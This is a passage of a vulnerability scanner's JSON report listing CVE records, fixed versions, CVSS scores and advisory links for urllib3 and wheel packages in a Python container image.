"https://access.redhat.com/errata/RHSA-2026:24000", "https://access.redhat.com/errata/RHSA-2026:24009", "https://access.redhat.com/errata/RHSA-2026:24014", "https://access.redhat.com/errata/RHSA-2026:24069", "https://access.redhat.com/errata/RHSA-2026:24374", "https://access.redhat.com/errata/RHSA-2026:24476", "https://access.redhat.com/errata/RHSA-2026:24483", "https://access.redhat.com/errata/RHSA-2026:24540", "https://access.redhat.com/errata/RHSA-2026:24541", "https://access.redhat.com/errata/RHSA-2026:24542", "https://access.redhat.com/errata/RHSA-2026:24544", "https://access.redhat.com/errata/RHSA-2026:25039", "https://access.redhat.com/errata/RHSA-2026:25143", "https://access.redhat.com/errata/RHSA-2026:25928", "https://access.redhat.com/errata/RHSA-2026:26212", "https://access.redhat.com/errata/RHSA-2026:26304", "https://access.redhat.com/errata/RHSA-2026:27929", "https://access.redhat.com/errata/RHSA-2026:28000", "https://access.redhat.com/errata/RHSA-2026:28157", "https://access.redhat.com/errata/RHSA-2026:28158", "https://access.redhat.com/errata/RHSA-2026:28159", "https://access.redhat.com/errata/RHSA-2026:28571", "https://access.redhat.com/errata/RHSA-2026:30076", "https://access.redhat.com/errata/RHSA-2026:30078", "https://access.redhat.com/errata/RHSA-2026:30087", "https://access.redhat.com/errata/RHSA-2026:30088", "https://access.redhat.com/errata/RHSA-2026:30089", "https://access.redhat.com/errata/RHSA-2026:32992", "https://access.redhat.com/errata/RHSA-2026:33313", "https://access.redhat.com/errata/RHSA-2026:33683", "https://access.redhat.com/errata/RHSA-2026:34160", "https://access.redhat.com/errata/RHSA-2026:34374", "https://access.redhat.com/errata/RHSA-2026:34526", "https://access.redhat.com/errata/RHSA-2026:34531", "https://access.redhat.com/errata/RHSA-2026:34533", "https://access.redhat.com/errata/RHSA-2026:34607", "https://access.redhat.com/errata/RHSA-2026:36350", "https://access.redhat.com/errata/RHSA-2026:37275", "https://access.redhat.com/errata/RHSA-2026:41066", "https://access.redhat.com/errata/RHSA-2026:42078", "https://access.redhat.com/errata/RHSA-2026:42079", "https://access.redhat.com/errata/RHSA-2026:42132", "https://access.redhat.com/errata/RHSA-2026:42144", "https://access.redhat.com/errata/RHSA-2026:42644", "https://access.redhat.com/errata/RHSA-2026:42796", "https://access.redhat.com/errata/RHSA-2026:43038", "https://access.redhat.com/errata/RHSA-2026:44481", "https://access.redhat.com/errata/RHSA-2026:51206", "https://access.redhat.com/errata/RHSA-2026:56347", "https://access.redhat.com/errata/RHSA-2026:58981", "https://access.redhat.com/errata/RHSA-2026:59409", "https://access.redhat.com/errata/RHSA-2026:60362", "https://access.redhat.com/errata/RHSA-2026:60371", "https://access.redhat.com/errata/RHSA-2026:7625", "https://access.redhat.com/errata/RHSA-2026:7634", "https://access.redhat.com/security/cve/CVE-2026-44432", "https://advisory.echohq.com/cve/CVE-2026-44432", "https://bugzilla.redhat.com/2477154", "https://bugzilla.redhat.com/2477167", "https://bugzilla.redhat.com/show_bug.cgi?id=2477154", "https://bugzilla.redhat.com/show_bug.cgi?id=2477167", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-44431", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-44432", "https://errata.almalinux.org/9/ALSA-2026-28159.html", "https://errata.rockylinux.org/RLSA-2026:28158", "https://github.com/pypa/advisory-database/tree/main/vulns/urllib3/PYSEC-2026-142.yaml", "https://github.com/urllib3/urllib3", "https://github.com/urllib3/urllib3/security/advisories/GHSA-mf9v-mfxr-j63j", "https://linux.oracle.com/cve/CVE-2026-44432.html", "https://linux.oracle.com/errata/ELSA-2026-32992.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-44432", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-44432.json", "https://ubuntu.com/security/notices/USN-8379-1", "https://www.cve.org/CVERecord?id=CVE-2026-44432" ], "PublishedDate": "2026-05-13T16:16:57.303Z", "LastModifiedDate": "2026-09-10T13:20:11.887Z" }, { "VulnerabilityID": "CVE-2026-97687", "VendorIDs": [ "GHSA-8988-9cw3-xx77" ], "PkgName": "urllib3", "PkgPath": "usr/local/lib/python3.11/site-packages/urllib3-2.6.3.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/urllib3@2.6.3", "UID": "63a85cd6cb792cde" }, "InstalledVersion": "2.6.3", "FixedVersion": "2.8.0", "Status": "fixed", "Layer": { "DiffID": "sha256:a1f651e72a0f3712f537193478f0e032fda37c8db7bff6a6b41b1f3214310a06" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-97687", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:f8a2572c7338fe16fc18d115b9179eddf104f2a6f8da0d026b818e37df64839e", "Title": "urllib3: urllib3: Traffic interception via HTTPS proxy TLS configuration override", "Description": "urllib3 is an HTTP client library for Python. From 1.26.0 until 2.8.0, the proxy_ssl_context, proxy_assert_hostname, proxy_assert_fingerprint, ssl_context, cert_reqs, verify_mode, use_forwarding_for_https=True, and CERT_NONE configuration paths fail to remain separated because target-server TLS settings are incorrectly applied to the HTTPS proxy connection. The trigger is that an application uses an HTTPS proxy and configures target-server TLS settings that must remain separate from the proxy TLS handshake, including HTTPS forwarding with target-specific identity or credentials. Applying cert_reqs=CERT_NONE can overwrite proxy_ssl_context.verify_mode in place, and the mutation persists so later connections reusing the same context may connect to the HTTPS proxy without certificate verification. The attack mechanism is that an attacker intercepts and impersonates the HTTPS proxy after the effective proxy policy accepts the attacker's certificate. The impact is that the attacker can observe or modify forwarded traffic or receive a target TLS client certificate, while CONNECT tunneling still preserves the separate end-to-end target TLS connection. This issue is fixed in version 2.8.0.", "Severity": "HIGH", "CweIDs": [ "CWE-295", "CWE-440" ], "VendorSeverity": { "alma": 3, "ghsa": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N", "V40Score": 7.6 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N", "V3Score": 8.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N", "V3Score": 7.4 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:90494", "https://access.redhat.com/security/cve/CVE-2026-97687", "https://advisory.echohq.com/cve/CVE-2026-97687", "https://bugzilla.redhat.com/2543245", "https://bugzilla.redhat.com/2543255", "https://bugzilla.redhat.com/show_bug.cgi?id=2543245", "https://bugzilla.redhat.com/show_bug.cgi?id=2543255", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-97687", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-97689", "https://errata.almalinux.org/9/ALSA-2026-90494.html", "https://errata.rockylinux.org/RLSA-2026:90494", "https://github.com/urllib3/urllib3", "https://github.com/urllib3/urllib3/commit/07408cec79d1856d81bb42c74a904a24fdb9e465", "https://github.com/urllib3/urllib3/commit/b6447295fff7b38fdffc67e0df9712d60cef3cc3", "https://github.com/urllib3/urllib3/pull/5093", "https://github.com/urllib3/urllib3/releases/tag/2.8.0", "https://github.com/urllib3/urllib3/security/advisories/GHSA-8988-9cw3-xx77", "https://linux.oracle.com/cve/CVE-2026-97687.html", "https://linux.oracle.com/errata/ELSA-2026-92474.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-97687", "https://ubuntu.com/security/notices/USN-8926-1", "https://www.cve.org/CVERecord?id=CVE-2026-97687" ], "PublishedDate": "2026-09-29T16:17:18.517Z", "LastModifiedDate": "2026-10-13T20:27:23.13Z" }, { "VulnerabilityID": "CVE-2026-97689", "VendorIDs": [ "GHSA-vxq7-64xx-v4gw" ], "PkgName": "urllib3", "PkgPath": "usr/local/lib/python3.11/site-packages/urllib3-2.6.3.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/urllib3@2.6.3", "UID": "63a85cd6cb792cde" }, "InstalledVersion": "2.6.3", "FixedVersion": "2.8.0", "Status": "fixed", "Layer": { "DiffID": "sha256:a1f651e72a0f3712f537193478f0e032fda37c8db7bff6a6b41b1f3214310a06" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-97689", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:b39605788861c2c0e9dd682daa74f0b1eac0e6b695cbb35c6aa6d370677b6b96", "Title": "urllib3: urllib3: Denial of Service via unbounded memory allocation in chunk parser", "Description": "urllib3 is an HTTP client library for Python. From 1.10.3 until 2.8.0, the HTTPResponse.read_chunked and HTTPResponse.stream methods can allocate unbounded memory because the streaming chunk parser buffers the chunk-size field until newline or EOF without a length bound. The trigger is that a malicious server returns Transfer-Encoding: chunked followed by a very long run of bytes without a newline. The attack mechanism is that a malicious HTTP server sends a very long unterminated chunk-size line. The impact is that unbounded memory allocation can exhaust the client process. This issue is fixed in version 2.8.0.", "Severity": "HIGH", "CweIDs": [ "CWE-770" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "ghsa": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H", "V40Score": 8.9 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:90494", "https://access.redhat.com/security/cve/CVE-2026-97689", "https://advisory.echohq.com/cve/CVE-2026-97689", "https://bugzilla.redhat.com/2543245", "https://bugzilla.redhat.com/2543255", "https://bugzilla.redhat.com/show_bug.cgi?id=2543245", "https://bugzilla.redhat.com/show_bug.cgi?id=2543255", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-97687", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-97689", "https://errata.almalinux.org/9/ALSA-2026-90494.html", "https://errata.rockylinux.org/RLSA-2026:90494", "https://github.com/urllib3/urllib3", "https://github.com/urllib3/urllib3/commit/cd770b059b543be29298ea5c52afb0b1b090f5ed", "https://github.com/urllib3/urllib3/releases/tag/2.8.0", "https://github.com/urllib3/urllib3/security/advisories/GHSA-vxq7-64xx-v4gw", "https://linux.oracle.com/cve/CVE-2026-97689.html", "https://linux.oracle.com/errata/ELSA-2026-92474.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-97689", "https://ubuntu.com/security/notices/USN-8926-1", "https://www.cve.org/CVERecord?id=CVE-2026-97689" ], "PublishedDate": "2026-09-29T16:17:18.837Z", "LastModifiedDate": "2026-10-13T20:20:06.95Z" }, { "VulnerabilityID": "CVE-2026-24049", "VendorIDs": [ "GHSA-8rrh-rw8j-w5fx" ], "PkgName": "wheel", "PkgPath": "usr/local/lib/python3.11/site-packages/setuptools/_vendor/wheel-0.45.1.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/wheel@0.45.1", "UID": "68d1f5691b386b62" }, "InstalledVersion": "0.45.1", "FixedVersion": "0.46.2", "Status": "fixed", "Layer": { "DiffID": "sha256:11eedb26209894f612959676c175604e16ad7325d5866cdf74a401cbd3cef464" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-24049", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:edb66c1a553de7f9e0b83f7eae3fd00b4833ed074c4b8380a7344d974828432d", "Title": "wheel: wheel: Privilege Escalation or Arbitrary Code Execution via malicious wheel file unpacking", "Description": "wheel is a command line tool for manipulating Python wheel files, as defined in PEP 427. In versions 0.40.0 through 0.46.1, the unpack function is vulnerable to file permission modification through mishandling of file permissions after extraction. The logic blindly trusts the filename from the archive header for the chmod operation, even though the extraction process itself might have sanitized the path. Attackers can craft a malicious wheel file that, when unpacked, changes the permissions of critical system files (e.g., /etc/passwd, SSH keys, config files), allowing for Privilege Escalation or arbitrary code execution by modifying now-writable scripts. This issue has been fixed in version 0.46.2.", "Severity": "HIGH", "CweIDs": [ "CWE-22", "CWE-732" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "cbl-mariner": 2, "ghsa": 3, "nvd": 2, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H", "V3Score": 7.1 }, "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N", "V3Score": 5.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H", "V3Score": 7.1 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:10184", "https://access.redhat.com/errata/RHSA-2026:13545", "https://access.redhat.com/errata/RHSA-2026:14020", "https://access.redhat.com/errata/RHSA-2026:1504", "https://access.redhat.com/errata/RHSA-2026:17599", "https://access.redhat.com/errata/RHSA-2026:1902", "https://access.redhat.com/errata/RHSA-2026:1939", "https://access.redhat.com/errata/RHSA-2026:1942", "https://access.redhat.com/errata/RHSA-2026:19712", "https://access.redhat.com/errata/RHSA-2026:20089", "https://access.redhat.com/errata/RHSA-2026:2090", "https://access.redhat.com/errata/RHSA-2026:2106", "https://access.redhat.com/errata/RHSA-2026:2139", "https://access.redhat.com/errata/RHSA-2026:2675", "https://access.redhat.com/errata/RHSA-2026:2681", "https://access.redhat.com/errata/RHSA-2026:2694", "https://access.redhat.com/errata/RHSA-2026:2695", "https://access.redhat.com/errata/RHSA-2026:2710", "https://access.redhat.com/errata/RHSA-2026:2754", "https://access.redhat.com/errata/RHSA-2026:2762", "https://access.redhat.com/errata/RHSA-2026:2823", "https://access.redhat.com/errata/RHSA-2026:2865", "https://access.redhat.com/errata/RHSA-2026:2866", "https://access.redhat.com/errata/RHSA-2026:2900", "https://access.redhat.com/errata/RHSA-2026:2925", "https://access.redhat.com/errata/RHSA-2026:3461", "https://access.redhat.com/errata/RHSA-2026:3462", "https://access.redhat.com/errata/RHSA-2026:3713", "https://access.redhat.com/errata/RHSA-2026:3782", "https://access.redhat.com/errata/RHSA-2026:3958", "https://access.redhat.com/errata/RHSA-2026:3959", "https://access.redhat.com/errata/RHSA-2026:3960", "https://access.redhat.com/errata/RHSA-2026:4185", "https://access.redhat.com/errata/RHSA-2026:4215", "https://access.redhat.com/errata/RHSA-2026:4271", "https://access.redhat.com/errata/RHSA-2026:4942", "https://access.redhat.com/errata/RHSA-2026:5119", "https://access.redhat.com/errata/RHSA-2026:61628", "https://access.redhat.com/errata/RHSA-2026:6192", "https://access.redhat.com/errata/RHSA-2026:62115", "https://access.redhat.com/errata/RHSA-2026:6555", "https://access.redhat.com/errata/RHSA-2026:6562", "https://access.redhat.com/errata/RHSA-2026:6565", "https://access.redhat.com/errata/RHSA-2026:7250", "https://access.redhat.com/security/cve/CVE-2026-24049", "https://advisory.echohq.com/cve/CVE-2026-24049", "https://bugzilla.redhat.com/2431959", "https://bugzilla.redhat.com/show_bug.cgi?id=2431959", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-24049", "https://errata.almalinux.org/9/ALSA-2026-1939.html", "https://errata.rockylinux.org/RLSA-2026:1939", "https://github.com/pypa/wheel", "https://github.com/pypa/wheel/commit/7a7d2de96b22a9adf9208afcc9547e1001569fef", "https://github.com/pypa/wheel/commit/934fe177ff912c8e03d5ae951d3805e1fd90ba5e", "https://github.com/pypa/wheel/releases/tag/0.46.2", "https://github.com/pypa/wheel/security/advisories/GHSA-8rrh-rw8j-w5fx", "https://linux.oracle.com/cve/CVE-2026-24049.html", "https://linux.oracle.com/errata/ELSA-2026-2090.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-24049", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-24049.json", "https://ubuntu.com/security/notices/USN-8221-1", "https://www.cve.org/CVERecord?id=CVE-2026-24049" ], "PublishedDate": "2026-01-22T05:16:23.157Z", "LastModifiedDate": "2026-09-10T13:17:45.017Z" }, { "VulnerabilityID": "CVE-2026-24049", "VendorIDs": [ "GHSA-8rrh-rw8j-w5fx" ], "PkgName": "wheel", "PkgPath": "usr/local/lib/python3.11/site-packages/wheel-0.45.1.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/wheel@0.45.1", "UID": "588d1d5b79ef6155" }, "InstalledVersion": "0.45.1", "FixedVersion": "0.46.2", "Status": "fixed", "Layer": { "DiffID": "sha256:11eedb26209894f612959676c175604e16ad7325d5866cdf74a401cbd3cef464" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-24049", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:edb66c1a553de7f9e0b83f7eae3fd00b4833ed074c4b8380a7344d974828432d", "Title": "wheel: wheel: Privilege Escalation or Arbitrary Code Execution via malicious wheel file unpacking", "Description": "wheel is a command line tool for manipulating Python wheel files, as defined in PEP 427. In versions 0.40.0 through 0.46.1, the unpack function is vulnerable to file permission modification through mishandling of file permissions after extraction. The logic blindly trusts the filename from the archive header for the chmod operation, even though the extraction process itself might have sanitized the path. Attackers can craft a malicious wheel file that, when unpacked, changes the permissions of critical system files (e.g., /etc/passwd, SSH keys, config files), allowing for Privilege Escalation or arbitrary code execution by modifying now-writable scripts. This issue has been fixed in version 0.46.2.", "Severity": "HIGH", "CweIDs": [ "CWE-22", "CWE-732" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "cbl-mariner": 2, "ghsa": 3, "nvd": 2, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H", "V3Score": 7.1 }, "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N", "V3Score": 5.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H", "V3Score": 7.1 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:10184", "https://access.redhat.com/errata/RHSA-2026:13545", "https://access.redhat.com/errata/RHSA-2026:14020", "https://access.redhat.com/errata/RHSA-2026:1504", "https://access.redhat.com/errata/RHSA-2026:17599", "https://access.redhat.com/errata/RHSA-2026:1902", "https://access.redhat.com/errata/RHSA-2026:1939", "https://access.redhat.com/errata/RHSA-2026:1942", "https://access.redhat.com/errata/RHSA-2026:19712", "https://access.redhat.com/errata/RHSA-2026:20089", "https://access.redhat.com/errata/RHSA-2026:2090", "https://access.redhat.com/errata/RHSA-2026:2106", "https://access.redhat.com/errata/RHSA-2026:2139", "https://access.redhat.com/errata/RHSA-2026:2675", "https://access.redhat.com/errata/RHSA-2026:2681", "https://access.redhat.com/errata/RHSA-2026:2694", "https://access.redhat.com/errata/RHSA-2026:2695", "https://access.redhat.com/errata/RHSA-2026:2710", "https://access.redhat.com/errata/RHSA-2026:2754", "https://access.redhat.com/errata/RHSA-2026:2762", "https://access.redhat.com/errata/RHSA-2026:2823", "https://access.redhat.com/errata/RHSA-2026:2865", "https://access.redhat.com/errata/RHSA-2026:2866", "https://access.redhat.com/errata/RHSA-2026:2900", "https://access.redhat.com/errata/RHSA-2026:2925", "https://access.redhat.com/errata/RHSA-2026:3461", "https://access.redhat.com/errata/RHSA-2026:3462", "https://access.redhat.com/errata/RHSA-2026:3713", "https://access.redhat.com/errata/RHSA-2026:3782", "https://access.redhat.com/errata/RHSA-2026:3958", "https://access.redhat.com/errata/RHSA-2026:3959", "https://access.redhat.com/errata/RHSA-2026:3960", "https://access.redhat.com/errata/RHSA-2026:4185", "https://access.redhat.com/errata/RHSA-2026:4215", "https://access.redhat.com/errata/RHSA-2026:4271", "https://access.redhat.com/errata/RHSA-2026:4942", "https://access.redhat.com/errata/RHSA-2026:5119", "https://access.redhat.com/errata/RHSA-2026:61628", "https://access.redhat.com/errata/RHSA-2026:6192", "https://access.redhat.com/errata/RHSA-2026:62115", "https://access.redhat.com/errata/RHSA-2026:6555", "https://access.redhat.com/errata/RHSA-2026:6562", "https://access.redhat.com/errata/RHSA-2026:6565", "https://access.redhat.com/errata/RHSA-2026:7250", "https://access.redhat.com/security/cve/CVE-2026-24049", "https://advisory.echohq.com/cve/CVE-2026-24049", "https://bugzilla.redhat.com/2431959", "https://bugzilla.redhat.com/show_bug.cgi?id=2431959", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-24049", "https://errata.almalinux.org/9/ALSA-2026-1939.html", "https://errata.rockylinux.org/RLSA-2026:1939", "https://github.com/pypa/wheel", "https://github.com/pypa/wheel/commit/7a7d2de96b22a9adf9208afcc9547e1001569fef", "https://github.com/pypa/wheel/commit/934fe177ff912c8e03d5ae951d3805e1fd90ba5e", "https://github.com/pypa/wheel/releases/tag/0.46.2", "https://github.com/pypa/wheel/security/advisories/GHSA-8rrh-rw8j-w5fx", "https://linux.oracle.com/cve/CVE-2026-24049.html", "https://linux.oracle.com/errata/ELSA-2026-2090.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-24049", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-24049.json", "https://ubuntu.com/security/notices/USN-8221-1", "https://www.cve.org/CVERecord?id=CVE-2026-24049" ], "PublishedDate": "2026-01-22T05:16:23.157Z", "LastModifiedDate": "2026-09-10T13:17:45.017Z" } ] } ] }